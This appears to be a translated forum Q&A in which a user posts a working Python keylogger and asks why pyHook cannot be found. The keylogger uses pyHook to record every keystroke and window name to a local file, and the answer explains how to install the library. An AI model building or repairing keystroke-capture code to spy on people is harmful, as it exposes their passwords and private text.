2017-06-01 165 views
0

因此,在我的代碼中,我安裝了所有我正在使用的模塊,但是我總是收到錯誤,說找不到模塊。請幫忙謝謝。即使安裝了模塊,也得到「ModuleNotFoundError:No module named'pyHook'」

代碼:

import pyHook, pythoncom, sys, logging , os , winsound , time 

date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput" 
date += time.strftime("%d.%m.%Y") + ".txt" 
x = time.ctime() 
with open(date, "a") as f: 
      f.write("\n") 
      f.write("[" + x + "] : ") 


def OnKeyboardEvent(event): 
    global x 

    if event.Key =="Return" : 
     with open(date, "a") as f: 
      f.write(" {Enter}\n") 
      f.write("[" + x +"|"+event.WindowName + "] : ") 

    elif event.Key == "Space" : 
     with open(date, "a") as f: 
      f.write(" ") 
    elif event.Key == "Back" : 
     with open(date, "a") as f: 
      f.write("{Bkspc}") 

    else : 
     with open(date, "a") as f: 
      f.write(event.Key) 


    return True 
hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

回答

0

嘗試以下操作:

首先,從here下載pyhook,確保你選擇了正確的版本。

其次,在下載的文件夾中打開cmd並鍵入pip install pyHook-1.5.1-cp27-none-win32.whl,或者如果您選擇了其他版本,請鍵入相關版本。

+0

感謝隊友,修復了pyHook的問題,但我仍然得到與Pythoncom相同的問題,當我做點東西,我得到一個長長的紅色代碼,它不能在python中工作。 –

+0

你可以閱讀[這裏](https://stackoverflow.com/questions/4145079/importerror-no-module-named-pythoncom)pythoncom的幫助。請問接受答案是否解決了你的問題。 –

+0

Tnx,請更新pythoncom lib問題是否已修復。 –

相關問題